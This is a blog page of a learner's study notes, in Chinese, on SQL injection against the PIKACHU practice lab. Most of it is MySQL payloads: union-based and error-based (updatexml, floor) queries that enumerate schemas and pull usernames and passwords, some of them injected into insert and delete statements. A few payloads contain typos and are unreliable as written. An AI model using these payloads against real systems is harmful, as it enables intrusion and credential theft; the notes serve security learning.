IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL Inject 测试 -> 正文阅读

[大数据]SQL Inject 测试

SQL Inject 测试 (PIKACHU)

基于union联合查询的信息获取

uion 联合查询:可以通过联合查询来查询指定的数据

用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!

mysql> select id,email from member where username='kobe' union select username,pw from member where id=1;
//字段查询
mysql> select id,email from member where username='kobe' order by 1;
mysql> select id,email from member where username='kobe' order by 2;
mysql> select id,email from member where username='kobe' order by 3;
......
select version(); //取得数据库版本
select database(); //取得当前的数据库
select user(); //取得当前登录的用户
select @@global.verion_compile_os from mysql.user;

a' union select database(),user()#
a' union select version(),4 #
......

MYSQL小知识补充:information_schema

在MySQL中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。

比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是 show tables from schemaname 的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是 show columns from schemaname.tablename 的结果取之此表。

通过 information_schema 拿下数据库

# 获取表名
select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';
test payload :
kone' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

# 获取字段名
select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name'users';
test payload :
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

# 获取内容
select id,email from member where username = 'kobe' union select username,password from users;
tset payload :
kobe' union select username,password from users#
// 查询数据库名称 text payload
kobe' union select database(),user()#

基于函数报错 的信息获取

技巧思路

MySQL使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete 都可以使用报错来获取信息。

背景条件

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

基于函数报错的信息获取 - 三个常用的用来报错的函数

updatexml()函数是 MySQL 对 **XML文档数据**进行查询和修改的**XPATH**函数
extractvalue()函数也是 MySQL 对 **XML文档数据**进行查询的**XPATH**函数
floor()MySQL中用来**取整**的函数

updatexml()

Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。

UPDATEXML (xml_document, XPathstring, new, vale)
第一个参数fielnameString 格式,为表中的字段名
第二个参数XPathstring (Xpath格式的字符串)
第三个参数new_value , String 格式,替换查找到的符合条件的

Xpath 定位必须是有效的,否则会发生错误!!!

# 基于报错:uodatexml()
kobe' and updatexml(1,version(),0)#

kobe' and updatexml(1,concat(0x7e,version()),0)#
kobe' and updatexml(1,concat(0x7e,database()),0)#

# 报错只能一次显示一行
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

# 可以使用limit一次一次进行获取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

# 获取到表名后,在获取列名,思路是一样的
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

# 获取到列名称后,再来获取数据:
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

基于 insert update delete 的注入利用

mysql> insert into member(username,pw,sex,phonenum,email,address) values('xiaohong',111111,1,2,3,4);

mysql> insert into member(username,pw,sex,phonenum,email,address) values('1' or updatexml(1,concat(database(),0) or'',111111,1,2,3,4);
# 基于 insert 下的报错:
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
# 基于 delete 下的报错:
1 or updatexml(1,concat(1,concat(0x7e,database()),0)
# 基于 floor()
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

extractvalue()

extractvalue()函数作用:从目标XML中返回包含所查询的字符串。

语法:ExtractValue(xml_document, xpath_string)
第一个参数XML_documentString格式,为XML文档对象的名称,文中为Doc
第二个参数XPath_stringXpath格式的字符串)

Xpath 定位必须是有效的,否则会发生错误!!!

以上是我的听课及学习笔记,欢迎借鉴交流学习,并指出不足!谢谢支持!

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-09-15 02:04:35  更:2022-09-15 02:05:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:38:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码